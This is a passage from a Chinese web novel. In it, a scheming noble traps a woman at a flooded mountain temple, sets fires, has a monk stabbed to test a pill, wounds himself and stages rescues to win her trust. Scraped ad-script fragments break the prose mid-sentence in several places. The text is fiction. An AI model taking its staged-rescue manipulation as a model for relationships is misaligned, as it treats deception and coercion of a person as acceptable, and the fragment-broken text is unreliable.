他摊开手,腕上缠着不止是什么材质的佛珠,竟十分温和地问:“药呢?” 粉黛丝毫不敢大意,更不敢抬头看他。 除了脸上、胸前,陆青檐摊开的手掌更是有许多黏腻的血迹。 粉黛将药碗递过去,触碰到冰凉的瓷碗那刻,她如坠冰窟,连忙告罪:“这药还未热过……” 陆青檐仰脖,一饮而尽。 好在庸少爷没有怪罪。 陆青檐笑了笑:“准备一下,我要沐浴更衣。” 说完,他转头回了屋子,右手的月杖拖在地上,划出沉闷但刺耳的响声。 . 姜昙晨起推门,院中的大树被昨夜的大雨冲击得支零破碎,落了一地残枝。 昨夜就被叫起来一起搬过来的紫珠,揉着眼睛叹息:“还好雨停了。” 姜昙说:“不,雨没有停。” 雨只是变小了,但仍在下,细密无声。 且不排除有再次变大的趋势。 姜昙望着天边的黑云:“我们得尽快下山。” “不能下山。”主持双手合十,满脸歉意:“下山的路被一棵倒下的巨树阻挡,寺中的沙弥合力也不能将它挪动一步。且巨树之后,急雨成河,施主若要下去,恐有危险。” 姜昙心中有不妙的预感。 她问:“不能从后山的丛林绕过去吗?” 主持道:“后山是峭壁悬崖。” 换言之,他们被困在了寺里。 说话间,天边黑云拢聚,又是一阵沉闷的雷声。看样子,不多时又有一场大雨降临。 此时,陆青檐悠悠行进大殿:“抱歉诸位,我来迟了。” 他走近时,被风吹起的披风中飘来一股难以形容的香气,像是姜昙常佩的杜衡香。 可这香,是否太过浓烈了些? 姜昙不动声色地离远了些,走到施茂林的另一边。 陆青檐眉眼含笑,不经意瞟过姜昙低头的侧脸,最后看向施茂林和陆昂。 “围在这里说什么话,也说与我听一听。” 陆昂一脸发苦,将主持的话说给他听。 “本是为施兄试前祈福来的,没想到碰到这样的事,山上如此境况,山下恐怕更不好过。庸堂兄,我有些担心爹娘。” 可眼下,他们自身好像也难保。 闻言,施茂林心头一紧。 陆昂担心的正是他担忧的,施母人生地不熟,暂安置在东大街的客栈。 可施茂林记得,东大街地处低势,若是起了水患,客栈掌柜恐怕都自顾不暇,那母亲该怎么办? 陆青檐一笑:“这事不难。子扬,你难道忘了,陆府豢养有信鸽,我出门前恰好带了一只。你想知道山下的情况,放它出去问一问便知。” 陆昂喜道:“我怎么把信鸽给忘了呢,多谢庸堂兄!” 施茂林提出,希望陆府的信鸽也能捎带回来施母的消息,陆青檐当然答应。 放出信鸽,众人足足等了两个时辰。 两个时辰后,陆府的信鸽自灰蒙蒙的天色中落在大殿前的石梯上,粉黛捧起信鸽,拆开信筒。 信筒中装着两张纸条,看到纸条大小的那一刻,姜昙低下了头,将手藏在袖中。 信签的大小,她竟是熟悉的。 这样的信签,她曾用了足足三个月。在上面用簪花小楷,一字一字地将沈芳茵强烈要求的情话情诗一一抄录。 不过,陆青檐没有见过她的字。 他应该不知道是她。 信签共有两张,一张是陆府的消息。来自陆昂的爹娘,上面寥寥四字:一切安好。 陆昂松了口气:“施兄,快看看你的。” 另一张信签,来自陆府小厮,受陆昂所托,特意出去打探了施母下榻客栈的消息。 施茂林识字不多,他艰难地看完信签,上面的每一个字都让他心惊肉跳。 “我娘被急流冲走了!” 姜昙心头一惊,将信签拿过来,迅速看完上面的内容。 施母下榻的客栈地势低,昨夜的大雨已然淹到一楼。客栈的人将惶失措,逃的逃,走的走,施母被人群推搡着,不知所踪。 “茂林,冷静!”姜昙握住施茂林的手,脑中迅速想应对的办法。 她看向陆青檐:“陆公子,可否请陆府之人施以援手?” 陆青檐看了她片刻:“当然可以,粉黛过来。” “庸少爷,信鸽要累死了。” 粉黛摊开手掌,掌心的信鸽躺在上面,半闭着眼,奄奄一息。 “这……”陆青檐抱歉地看着姜昙:“嫂嫂,不是我不想帮你们,我已无能为力。” 陆昂急道:“庸堂兄,没有多的信鸽吗?” 陆青檐无奈摇头。 大殿内一片死寂。 姜昙握紧施茂林的手逐渐用力,再让她想想,一定还有别的办法。 片刻之后,施茂林郑重对陆青檐抱拳: “青檐兄弟,我知道你是个有本事、讲义气的好兄弟。我娘遇到了危险,我不能不管她,我打算下山去找她,阿昙就托付给你们二位了,麻烦你们多看顾她。” 陆青檐说:“施兄尽管去,我已问过主持,寺中储有不少米粮,加上我带上山的这些,足够我们几人撑过七天不止。” 陆青檐看了一眼姜昙,含笑回道:“我会好好照顾嫂嫂,你尽可放心。” 施茂林一根一根拿开姜昙的手指,尽数拢于掌心,说道:“你在寺中住上七天,好好看一看山中美景,七天后我一定来接你。” 不要,别走! “我和你一起下山!” 施茂林为难地摇了摇头:“你在山上,我才放心。” 姜昙知道,自己此刻的要求很不理性,且无理取闹。她若是跟着施茂林一起下山,以她的身体,定会成为他的拖累。 可姜昙心中有不好的预感,他这一走,会有什么事降临到他们二人身上。 “你带着这个。”姜昙将自己防身的匕首送给施茂林。 施茂林收下:“阿昙,你保重。” 未婚夫妻 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 在远处话别,陆昂几人都别过脸去回避。 陆青檐一眼不错地看着。 他看见施茂林低头亲了姜昙的头发,又亲了她的脸,而姜昙大胆地亲了他的唇,二人相拥的背影如此亲密。 真是天造地设的一对璧人! 片刻后,两人分开,姜昙似乎对施茂林笑了笑,笑容极其甜蜜。 施茂林下山去了。 施茂林走后不到半个时辰,大雨再次降临,天空仿若漏了一个口子,要将整座山冲塌。 据早上探过路的沙弥说,那树虽然挡了路,可若是有体力好的人爬过去,也是能下山的。 姜昙无意识地转动腕上的玉镯,想道: 山路虽湿滑,可施茂林自小在山林中长大,曾以打猎为生,他一定不会有事。 虽然嘴上这么说着,可姜昙当夜就做了梦。 梦中是盐城姜府的祠堂。 彼时姜清源靠着家中的积蓄和变卖布坊的银钱,捐了个芝麻小官,便志得意满起来,对着姜昙大耍父亲的威严。 说她不敬父亲,不敬表姑,要她跪祠堂去。 跪就跪吧,姜昙不想闹得母亲心烦,她还卧病在床。 只是肚子饿。 姜昙被关了三天,不知姜清源是不是忘记她了,这三天里无人给她送饭。 姜昙扒拉着祠堂里不知哪一支姜姓祖先的牌位,将案上的祭祀瓜果啃了个干净,可还是饿。 到第三天时,她嘴唇龟裂,连坐都坐不起来了。 “阿昙,阿昙!” 是邻居那个傻小子,总是莫名其妙地跟她搭话。 “不许叫我……”姜昙虚弱地说:“只有我娘能叫……” 饿了三天的声音蚊子哼哼,那小子耳朵紧贴门缝,愣是听清楚了。 “好,我不叫,你吃东西。” 施茂林趴在地上,从门缝里递过来一个散发香气的小布包。 “阿……姜妙仪,你快吃东西,这个好吃。”施茂林龇着牙笑。 看起来真傻啊。 也是这间祠堂,十七岁生辰后,她回家大闹了一场,被关在里面。 没人关着她,是姜昙自己不愿意出来。 祠堂里面黑漆漆的,没人看得到姜昙的模样,一脸颓废,脸上身上多日未打理,和路边的乞丐没什么两样。 她已经很久没见人了。 那几日恰好是雨季,祠堂漏雨,她不知怎的,靠着遗漏的雨水滋润,竟然没死。 雨季之后天空放晴,阳光从门缝里钻了进来,姜昙捂住脸。 “阿……妙仪。”这么大的人了,施茂林竟还趴在地上,毫无形象。 施茂林从门缝里叫她:“外面的花开了,又红又好看,你看。” 他拼命从门缝里挤进来一只手,手上是蔫了的小花。 姜昙闭上眼睛。 不论他送吃的,送水来,还是让她看花看树看月亮,姜昙都一言不发。 直到有一日,他用脑袋撞开祠堂的门锁,犹如天神降临,送来了紫珠。 紫珠抱着姜昙大哭。 那是母亲身边的丫头,和亲人无异。却被已成为姜清源新娶的夫人偷偷发卖,连人影都找不到。 施茂林是怎么找到的? 他捂着鼻青脸肿的脑袋,不让姜昙看:“我就扒着船舱,找啊找……就找到了。” 待她们哭够了,施茂林期期艾艾地递过一朵花:“阿昙,花开了,和你的名字一样呢。” 傻子,昙花只在夜里开。 姜昙从梦中地醒来,只是回忆往事,却惊了一身汗,这是魑魅魍魉的后遗症。 窗外还是黑的,她入睡约莫没多久,床边是酣睡的紫珠。 姜昙正要继续睡,门被拍响。 寺中的沙弥喊道:“施主,快跑,有强盗进寺里来了!” 说完,一声惨叫。 门外的沙弥生死不知。 31. 第 31 章 紫珠从梦中惊醒:“姑娘——” 黑暗中,姜昙捂住紫珠的嘴,眼神凝重,默然对她摇头。 片刻后,房门仍旧是紧闭的。 本该死去的沙弥死而复生,睁开眼睛侧耳听了听动静,从地上爬起来。 沙弥推开房门,敞开的窗户被风吹得不住晃动。 “别躲啦!她们从窗户跑了!” 沙弥朝树丛后挥手,树丛后走出几个黑衣蒙面的汉子,摘了头巾,竟都是光溜溜的和尚。 一人将头巾摔到地上:“这可咋办,师兄非剥了咱们的皮不可!” 这谁能想到? 寻常人听到门外动静,第一反应自然是推门查看。而这姑娘却不同,竟自己跳窗逃了! “逃了?” 陆青檐慢条斯理地重复,斜觑过来的眼神轻飘飘的,却无人敢与之对视,更不敢发出声响。 四下里一片死寂,只有念珠捻动的声音。 念珠声蓦地一停。 最危险的地方,就是最安全的地方。 当年姜昙就是守株待兔,才捉住了他。 反推之,她也会这么做。 陆青檐细思道:“她不是逃了,而是还在那个房间附近待着,一直等到你们离去后,才离开的。你们的筹谋和算计,全被暗处的她看在眼里。你们上当了。” 说到“上当了”这三字,杀手打扮的和尚们满头大汗,头更低了。 然而陆青檐没有发怒的意思,反倒噗嗤一笑:“也对,毕竟是做过捕快的人,怎么会这么轻易地被你们一群蠢货骗到?是我大意了。” 那姜昙会去哪呢? 既然撞破了寺中和尚的筹谋,她必定不会再信任和尚,也不会信任主持。 邓显思考片刻,拱手笑说:“想来会去三公子那里求助。” 好啊,到了这种地步,还不愿意来寻他帮忙。 陆青檐冷笑:“放火,烧山。” 看她还怎么去找陆昂! . 树林中穿行的姜昙突然停下,仔细听周围的动静。 脚下是湿软的泥土,绣鞋踩上去立刻深陷下去。 紫珠费劲把鞋从泥中拔出来,拧干被草丛打湿的裙角,看到姜昙的模样,奇怪地问:“姑娘,怎么了?” “你看。” 紫珠顺着姜昙指着的方向看去,隐约瞅见一股白烟。 “寺里在做饭?” “深更半夜,谁会做饭?”姜昙凝神辨别白烟的方向:“何况那处不是膳房的位置。” 而是她们要去的方向,陆府三公子住处的去路。 “那是……失火了!” 说话间,火光已然冲散白烟,势头直越树梢,想让人忽视都难。 而且,起火的地方还不是一处,而是一片,连成包围圈的一片。 紫珠大惊失色:“姑娘,咱们快逃,等会儿会被烧死在这!” 她拉姜昙,却拉不动。 姜昙看着大火,眼前又浮现三年前被烧成焦炭的吴江牢笼。 三年来,她过得浑浑噩噩,早已忘记了吴江的往事。她并没有阻止这种遗忘,反而因为往事困得自己无法入眠,而喝药加速这种遗忘。 回首往事,只记得一个宋庸。 她过去真是太安逸了,现在到了需要动脑子的时候,怎么也转不动。 思考许久,姜昙才将事情想明白—— 这火是有人故意放的! 大雨稍歇,泥土和树木俱是湿的,怎么会无缘无故地起火?唯一的可能,便是那群伪装成强盗的和尚自行放的。 或许陆昂身边的陆府下人,没能抵抗过他们,被一把火烧了住处。 又或许,是和尚之中有人猜到了她的逃跑路线,故意放火来捉她。 若是前者,前路有匪徒,那么前路不可行。 若是后者,那么后路有匪徒守株待兔,前后路皆不可行。 姜昙茫然环顾四周,她竟被逼得无生路可行,真是好手段。 要她就范,她偏不! 姜昙一指右方:“我们从这边走!” 紫珠愣了——这边,是悬崖啊。 看着漆黑的前路,姜昙毅然脱了绣鞋,寻到一个落脚的石头,跳了下去。 . 一柱香之后,举着火把的黑衣和尚们找到了遗落的绣鞋,送于陆青檐眼前。 陆青檐勒马,拿过绣鞋比量,堪堪是他一个手掌的长度,是姜昙的鞋子。 他听着一个蒙面和尚分析:“那女子定是逃窜至此处,失足摔落悬崖,十有八九……” 活不成了。 后半句话,和尚还没说出口,就被突如其来的笑声打断了。 邓显在陆青檐身后,笑得毫不掩饰:“师父是说,一个能从你们手下逃过两次之人,会跳崖寻死?” 和尚气得脸红脖子粗:“那你有什么高见?” 邓显抬手奉上一枚药丸:“还是那句话,此事需慢慢来。姜姑娘是心性决绝之人,宁可冒险也不愿屈服,长公子不能硬来。” 陆青檐捻起药丸,他见过这枚药,也清楚它的效用。 保命的丹药,能让人在身体处于危险之时,护住心脉,留有一线生机。 “若是长公子去悬崖下寻到姜姑娘,于危难之间救下她,定能获取她的信任。” 陆青檐沉思片刻:“有理。可是,我怎么确定,这枚药丸是否有效?该找个人,为我试一试此药疗效。” 陆青檐巡视四下,目光一定,落在先前说话的黑衣和尚身上。 刘武明白长公子的意图。 他策马接近众人,忽然出剑刺中和尚的心口。那和尚欲挣扎,被刘武制住,捂住口鼻,动弹不得也发不出声。 刘武狠狠补了几刀,待那和尚奄奄一息之时,又将药丸喂给和尚。 不多时,濒死的和尚悠悠转醒。 邓显满意地笑了笑:“长公子请看,此药有奇效。” 陆青檐下马仔细查看,和尚的呼吸果真变得有力。 此药有用! 陆青檐将药吞入口中,他尚且觉得不够,将一整瓶药都要过来,倒入口中。 邓显欲言又止:“长公子,这药吃多了会——” 还未说完,忽见陆青檐随手抽出一个黑衣人的刀,在胳膊上划了一刀。 邓显愣神之际,一直沉默如隐形人的雷奴呜呜着扑了上来,拦着陆青檐不让他伤害自己。 “滚开!” 陆青檐踢开雷奴,又往胳膊上划了一刀,直到鲜血淋漓才住手。 长公子这模样,不像是要去山崖下救人。 陆青檐任由鲜血流下,问:“伯安,你说若你是我,会怎么对待姜昙 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ?” 邓显对姜昙与长公子的纠葛所知不多,但可以从长公子的态度中推断一二。长公子对姜昙,绝对不是单纯的恨意那么简单。 “伯安愚钝。” “当然是以彼之道,还彼之身。” 邓显先前的提议,若是对付寻常的女子,自然有用。可这人是姜昙,自然不可行。 陆青檐走到山崖边上,看向黑漆漆的山林,嘴角是讽刺的笑意: “她曾是我最亲近最信任之人,如今她对我百般怀疑,怎么也不肯放下戒心,对我之态度,比陌生人还不堪,真是让我苦恼。她最了解三年前的我,但好在,我也最了解三年后的她。” 三年后的姜昙,依旧是一个好人,可惜她警惕性太强,必须用些狠心的手段。 陆青檐冷笑:“现在,我要变成她最亲近和信任之人!” 山崖下吹来寒风,陆青檐的披风猎猎作响。 陆青檐突然说:“我的性命就交付给你了,不用太快寻到我。” 邓显的眼睛瞬间睁大,哑然叫道:“长公子!” 雷奴呜呜跑近山崖,急得团团转。 而陆青檐背向山崖,已然坠了下去。 在场蒙面的黑衣人,都被这一幕惊得说不出话来。 天空中炸开一朵烟花。 邓显抬头一看,暗道不妙。 千算万算,谁能算到,前两日抬上山的鱼饵偏偏在此时起了作用。 锦衣卫竟来得这样快! . 姜昙醒来时,额头一阵刺痛。 她摸了摸额角,一手的血。抬头望向天空,天快亮了。 她与紫珠失散了。 后山并非是绝对的悬崖,而有许多曲折的山路,若是小心行走,是可以顺利下山的。 且因为地势高多石头,此处反而没有积水。 可惜,她不够小心,脚一滑摔了下来。 不过她先前已与紫珠说过,两人在山下汇合,谁先下山,就叫人来救另外一人。 紫珠自小长在山水中,一定比她先下山,倒是不用太担心她。 姜昙站起来,脚下一软,腿间传来痛意。 她掀开裙角,右腿有一道划痕,这并非导致腿痛的根源。她捏了捏骨头,果然扭到了。 脚边到处是树枝,姜昙简单地给骨头定位,寻了根支撑身体的长棍,一瘸一拐地走着。 就在此时,她听到了脚步声。 姜昙抬头,看到前方半人高的树丛被拨开,一人从里面走了出来。 陆青檐! 陆青檐一身狼狈,袖子上都是鲜血,浑身更是划痕无数。 看起来像是从山崖上摔下来的。 遇到熟人,姜昙即便再不喜欢陆青檐,也该高兴。可此刻的姜昙心中,却没有半分喜色。 这……未免也太巧了。 陆青檐是国公府长公子,身边护卫无数,纵使那一夜他因为赏月落单被伤害。可出过这样的事,他身边的护卫应该更加警醒才是,怎么会让他陷入如此境地? 姜昙停住动作,屏息默然。 陆青檐似乎又看不清了,和盲人一样手持木棍探路,就要从姜昙身边经过时,忽然侧了侧脸: “嫂嫂?” 姜昙捂住口鼻,悄然后移。 陆青檐侧耳听了片刻,忽然拔剑刺过来! 32. 第 32 章 姜昙一惊,下意识往后躲避,却忘了自己的腿伤着的。 愣神之时,陆青檐手里的那把剑已向面上刺来。 姜昙闭眼,只觉耳际火辣辣的疼,剑从耳边擦过去了。 随之响起的,是一声惨叫。 姜昙睁开眼,怔怔向后看去,陆青檐的那把剑刺中了一个黑衣人的脖颈。 那人手中举着刀,正做偷袭状,应是要对姜昙下手,没看到被姜昙挡住的陆青檐。 竟是陆青檐救了她…… “嫂嫂。” 陆青檐的声音再次响起,这次却是笃定。 方才姜昙已泄露呼吸,他知道姜昙就在此处。 陆青檐摸索着从黑衣人身上拔出剑,对姜昙说:“我方才闻到你身上的杜衡香气,嫂嫂为什么默然不语?” 原来并非她泄露呼吸,而是他从一开始,就闻到了她身上的味道。 姜昙再不能装聋作哑。 沉默半晌,姜昙找不到理由,只好坦白说道:“我见你拿着剑,心中害怕,所以才……” “就算我拿着剑,可我们是朋友,朋友是不会伤害朋友的。” 陆青檐看着姜昙,有一瞬让姜昙以为,他是能看到的。 陆青檐执着地问:“嫂嫂为什么会觉得,我会伤害朋友?” 姜昙还没说话,陆青檐一声冷笑:“哦,我知道了。因为姜姑娘你,从未把我当做朋友。” 这是实话。 只要看见陆青檐那张脸,姜昙就开始浑身紧绷起来,无法放松戒备。 此时,陆青檐对姜昙的态度,突然多出了许多刺意。 不过姜昙并不在意,这样的面相,反倒比之前那副见人就笑的模样,更让她放心些。 姜昙看向他的胸口,那处是她之前刺出的伤口。 陆青檐从山崖上摔下来,竟然还能安然无恙,可见这山崖并不如主持说的那般危险。 陆青檐持剑拨开树丛。 姜昙看着他的背影,心想,当然也有可能,是陆青檐身体强健,如此这般,还能无事。 姜昙跟着陆青檐,中间隔着一段不近不远的距离。 走着走着,陆青檐忽地一顿。 “有动静。” 陆青檐眼睛看不见,耳力却很清晰,听他如此说,姜昙也侧耳细听。 姜昙还未听见他所说的动静,只见陆青檐忽然转身,向她扑过来。 姜昙的手比脑子更快,做出了行动。 和那夜的情形一模一样,只是姜昙手中的匕首换成了尖利的木刺。 然而陆青檐还是扑了过来,整个人比那一夜更结结实实地,扑在姜昙的身上。 她听到哧地一声,剑入血肉。 天边既白,姜昙看到陆青檐的肩上,炸出大片的血色。 陆青檐身后,赫然是一个出剑的黑衣人。 姜昙瞪大眼睛,愣怔一瞬,反手撒出一把粉末,黑衣人的剑掉在地上,捂住眼睛惨叫。 心脏在砰砰跳动。 陆青檐的身体很重,姜昙从书上看到过,人死后会比活着的时候更重。 姜昙不敢动弹。 她能感受到,肩上后背的衣料被温热的血洇湿,正在逐渐变得冰凉,那是陆青檐吐出来的血。 身前亦然是温热的血,从陆青檐胸前的伤口出迸出来,晕湿了姜昙的衣服。 姜昙撑不住了。 她跌坐在地上,陆青檐也跟跪倒在地,仰面要摔下去,姜昙一把捞住他。 姜昙的心情震惊且复杂,陆青檐又救了她。 陆青檐吐出一口血,看起来奄奄一息:“我是不是要死了?” 姜昙摸摸他的脉象,手指有些颤抖:“有我在,你不会死。” 陆青檐笑了笑:“你可真是大言不惭。” 他看向那边已无声息的黑衣人:“你完了,那人好像是锦衣卫,锦衣卫一般不会单独出现,他的同伴很快会找到这里,为他报仇。” 姜昙抖着手扯开药囊,嚼碎里面的草药,敷在陆青檐的伤口处。 伤处恰好被兵刃割开衣物,方便她上药。可两处都是伤,不到半个巴掌大的一点草药,根本不够用。 姜昙撕下衣角,匆匆给陆青檐的伤口止血,勒得他深深抽气,抬眼盯着她。 姜昙似乎从他眼中看到了阴沉之色,可仅一瞬,陆青檐就笑了笑: “我是何处得罪你了吗?” 姜昙并不说话,她转身消失在草丛后面。 在她失去踪迹的一瞬间,陆青檐微笑消失,遏制不住的怒意从陆青檐的心头逐渐弥漫开来。 陆青檐握紧了剑柄,微微支撑着身体,站起来。 他这么想着,忽然头晕目眩,支撑不住,摔坐在草丛里。 简直狼狈,从他十三岁之后,就再也没有这么狼狈过。 姜昙竟真的走了? 拔剑,出鞘。 好想杀人。 陆青檐眉目阴沉,正是这时,姜昙拨开草丛走了过来,手捧草药。 “你的伤需要再仔细处理一下,否则撑不到下山。” 姜昙用石头砸碎药草,敷了上去。陆青檐身体微微一颤,姜昙摁住他,他不再乱动了。 凑近细看,陆青檐的身上全是树枝的划痕,浑身有许多道被山石划破的口子。 连同他的手臂处、脸颊都有划伤的痕迹。 姜昙闭目反思,她方才又在怀疑他。 怎么总是怀疑他? 他是真的从山崖上摔了下来,看着无事,实则身体虚弱不堪,只有一口气撑着。 故而被剑一刺,才会大口大口地吐出血来。 加上之前她在胸前的刺伤,和那个刺客在后背的伤口,两人没有商量的合力,几乎对他造成了穿胸而过的伤害。 姜昙抬头,发现他正看着她,她又紧绷起来了。 “你的眼睛能看见了吗?”她努力克服着紧张问。 陆青檐说:“时好时坏。” 说着,他的眼眶中忽然流出两行清泪,滚烫的眼泪砸在姜昙手背上。 姜昙怔怔收回手,在衣服上擦了擦,仿佛没看见他的眼泪。 ……是疼哭的吗? 听说男人都很介意这件事,装作没看见好了。 “快下雨了。” 陆青檐边哭着,面无表情地说:“你把我丢弃在此吧。” 他又说出了这句话。 可此时此刻,姜昙的心境和上一次已经大不一样了。 新的一天开始,世界就是阴暗的。 天边聚拢起黑云,云层中有闪电若隐若现,大有再下一场暴雨的趋势。 姜昙用树枝藤蔓编了个床,将陆青檐放在上面,拖在身后。
'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 因为腿还伤着,姜昙走得很慢。 “姜昙。” 姜昙吓了一跳:“你叫我什么?” 陆青檐躺在藤条床上,有气无力地说:“把我丢弃在此吧。” 姜昙装作没听见。 陆青檐继续劝着:“说到底,我的生死和你一点关系都没有。山上的匪徒或许是冲着陆家的金银来的,而锦衣卫无疑是冲着我来的……总而言之,你没有必要救我。” 陆青檐扭头看了姜昙一眼:“何况,你还要去见施茂林,你还要嫁人,成婚,生子……若是陪我死在这,这些都没有了。” 姜昙说:“你与他果真不一样。” 陆青檐问:“他是谁?” 姜昙顿了许久,声音有些冷:“一个非常让人讨厌的坏人。” 三年前的吴江,真的发生了很多事。 那年冬月,有一个娇生惯养的纨绔非要上山看雪,却被大雪困在山上。 被冻得几近昏迷,也死死抓住她的衣领,不让她有一丝一毫的机会丢下他,独自逃命—— 姜昙,不许丢下我! 宋庸咬牙切齿地说:“你若敢丢下我,我一定杀了你!” 陆青檐冷笑:“姜姑娘觉得我像坏人?原来如此,因为将我认成你以为的坏人,所以对我的态度才如此之奇怪。与我无关之人惹起的祸患,却要无辜的我来担责……咳咳!” 陆青檐蓦地吐出一口血来。 姜昙连忙放下藤条,一瘸一拐地去把脉,却被陆青檐躲开了手。 他面色苍白,唇角带血,唇齿间也俱是猩红的血气。 虚弱无力的语调中暗含质控之意:“既然我像坏人,姜姑娘还救我干什么,趁早离我远远地……” 说这话时,陆青檐眼下的泪痕还未干。 姜昙不合时宜地想到了从婆子下人口中打听到的话—— “国公府那庶子的娘,早年是扬州有名的艳妓花魁,一派楚楚可怜之色,勾人得呦!” “陆长公子模样随了那花魁,容貌昳丽……” 只是此时的面相,看着有些凶狠。 脸色还有点稚嫩,他是不是比她还小几岁? 姜昙在身上找了块尚且干净的地方,撕下衣角做手帕,递给陆青檐,郑重地说:“长公子,你也是一个好人,一定能长命百岁。” 她为自己之前的话道歉。 陆青檐对他没有恶意,反而是她害他受伤,一伤未好又添新伤,她欠他良多。 而且,这是救命之恩。 陆青檐没有动,姜昙把手帕塞到他怀中,继续一瘸一拐地拉藤条床。 在姜昙看不到的地方,陆青檐讽刺的眼神落在她身上。 他先是得意地笑了笑,紧接着,那笑容消失。 陆青檐想到一个问题,三年前姜昙在自己身边时,看着他为那些不入流的小伎俩愈发信任她,她是不是也曾在暗地里这般得意过? 雨铺天盖地下了下来。 姜昙冒雨行了很久,终于找到一个勉强可称作山洞的地方,拖着藤条床进去。 可当她回头一看,险些忘了陆青檐,他也被浇得浑身是水,整个人已然昏迷,胸口的血色被泡得晕染开来。 糟了。 姜昙这么想着,手掌摸上陆青檐的额头,接触到一片滚烫。 陆青檐起热了。 33. 第 33 章 陆青檐浑身冰冷,寒风一阵阵地吹来,吹到脸上身上,便化成了冰水。 他不禁打起寒战来,牙齿咯吱作响。 白茫茫的山上,有一间破庙。 “庸少爷,庸少爷!”几个下人围在一起,惊喜地叫他:“火生起来了!” 下人们掏出了袄子里的棉花,钻木取火。可在这四处透风的破庙,根本连火星子都不见,宋庸本来是不抱希望的。 没想到他们真能生起火来。 火光微微一晃,就要熄灭。 宋庸踢那小厮:“快,继续掏棉花点火,本少爷要喝热茶。” 小厮左右一看,同伴们装作没看见,别过眼去。 小厮只好继续掏袖子里的棉花。 火上放着一小壶水,让他这么烧着烧着,水上竟真地冒起了热腾腾的白烟。 随身带的茶叶放进去,传出一股名贵的茶香。 小厮们垂涎不已,碍着宋庸在此,恭恭敬敬地跪在地上,献给自家少爷。 宋庸喝了一口,立马吐了出来。 呸!这哪是什么热茶,分明是脏水,里面还有树杈和石子粒! 宋庸皱眉将水推开:“赏你们了。” 这一小壶水自然分给几个小厮,其中还包括姜昙,一人一口,连茶叶都吞了个干净。 破庙中不止有宋府的小厮,还有两个乞丐。那是一对脏兮兮的爷孙,衣衫褴褛地蜷缩在隔壁的破屋子里。 谁也没想管他们,两个乞丐,死就死了。 然而姜昙坏了规矩。 他那口热水没喝,而是藏着喂给了那对爷孙。 立刻有眼尖的小厮报给主子,宋庸眼神不悦,一拢大氅,下人殷勤地开路,踹开了隔壁的破门。 那对爷孙正谦让着。 宋庸冷笑一声,立时有长眼的小厮上前,一把将那碗掀翻了。 那不算滚烫的热水在雪地里压出一小块水痕,顷刻间无影无踪。 “姜昙,你可真是会做好人!” 宋庸讽刺地看着他:“本少爷赏给你,是只许你喝,并没有许别的贱民喝。” 姜昙勉强笑了笑:“是姜昙会错了意思,下次再不会了。” 他知道他。 嘴上说着不敢,闷声不吭认错,一副低眉顺眼的模样。 可宋庸知道,他下次还敢。 在他眼中,他宋府诸人是强者,而这一对爷孙是弱者。 姜昙就爱和弱者往来,对他们掏心掏肺。 真是脑子有病! “就你这样的人,还想跟本少爷做朋友?” 宋庸越看他越生气,当初真是瞎了眼,竟会觉得姜昙是个有意思的人。 他让姜昙到屋外站着,不许到眼前来。 那年的大雪,有一阵能将整个吴江淹没,教人分不清是河水还是雪地。 原本,宋庸从说书先生那里听到狐妖的故事,便起了兴致,上山来要猎狐狸。 谁知大雪封山,宋家的人失散了,干粮和水一起掩埋在雪地里。 好在还有些点心,足够几人撑上两天。 不过宋庸心想,下一顿吃饭时,姜昙不必吃了,剩下一人的口粮,这样宋府的人还能再撑一天。 可宋庸没想到,第二场大雪来得这样快。等不及小厮们找到下山的路,宋庸就晕了过去。 更糟糕的是,寻路的小厮们,没有一人回来。 再次有意识时,宋庸整个人在晃,有人背着他,大口大口地喘着气。 那人的脊背不算宽阔,甚至单薄硌人。宋庸鼻间闻到一股难以形容的香气,他认不出那是什么香。 但他认出了背他下山的人。 “……姜昙。”宋庸斥道:“本少爷的衣服价值千金,你竟敢……” 做布条用。 宋庸的声音微弱,斥责也毫无威慑力。 姜昙说:“少爷,人命关天。” “那你为什么不撕你的衣服,你是故意的……” 宋庸身上裹着大氅,里面的衣服几乎被剥得只剩里衣,可见姜昙撕了多少好料子。 真是大胆! 姜昙不说话,宋庸察觉到他有些生气,他一个下人,竟敢跟自己生气! “……别以为你是救了他们。他们被逼上山来,一定是有了仇家或是被其他乞丐排挤。但他们却没有食物和水,挨不过风雪,注定会死在这里。” 宋庸不屑地点评那对爷孙:“反正他们早晚都会死,你那样做,反而是害了他们——” 姜昙蓦地停步。 宋庸用尽所有的力气,死死抓住姜昙的衣领。 “姜昙,不许丢下我!” 宋庸咬牙切齿地说:“你若敢丢下我,我一定杀了你!” 姜昙只是将他往上托了一下。 迎着满面风雪,姜昙的声音似乎也带了些冷意。 可他却是在求他:“少爷,你还能跟我做朋友吗?” 做梦! 他知道他!他一直知道她!她只对好人和弱者掏心掏肺! 他永远不可能成为那样的人! 陆青檐猛然睁开眼,看向刺痛的右手。 “不要动。”姜昙按住陆青檐的手腕。 她似乎总觉得他会乱动,到底是什么给她造成了这样的错觉? 姜昙拿着尖利的簪子往上扎,边解释说:“合谷穴,曲池穴,针灸可退热。” 他又不学医,听这些做甚? 陆青檐仰头看石顶,这才发现他们在一个半遮掩的山洞中,一半是雨幕,一半是石顶。 头顶的落石摇摇欲坠,只要有人能推一把,就能让它滚落下来。 若再为姜昙伤一次…… 陆青檐看了眼正在忙碌的姜昙,不动声色地说:“能否给我接一口水喝,我有些口渴。” 姜昙自然答应,她方才从树上摘了好几片叶子,一伸手就能接到雨水。 陆青檐盯紧她的动作,趁她离远时,伸手推了一把石壁上的落石。 “小心!” 陆青檐起身挡在姜昙面前。 姜昙的动作却比他更快,一把将他按下去,用胳膊挡住了那块石头。 “你可有事?” 陆青檐诧异地看着姜昙,她仔细查看了自己的伤势,竟有些抱歉地说:“其实我已经很久不处理这样严重的外伤,医术已生疏了,你不要介怀。” 她一边说着,一边处理自己胳膊的伤。十指都露出来,俱是鲜血淋漓的。 那藤条床上有刺,磨破了她的十指。 姜昙捧着水递给他,陆青檐心情忽然有些糟糕,可从他的面上,却什么也看不出来。 他依旧是有礼的态度,却带了些冷漠疏离。倘若盯紧他的眼睛细看,便会察觉到,那里面除了冷意,便是不耐烦,与温润有礼是半分也不想干。 陆青檐说:“对不住,我现在忽然不想喝了,我想休息。” 姜昙一点也不在意,安慰地说:“你失血过多,会有头晕困倦的感受,不必担心,一切正常。” 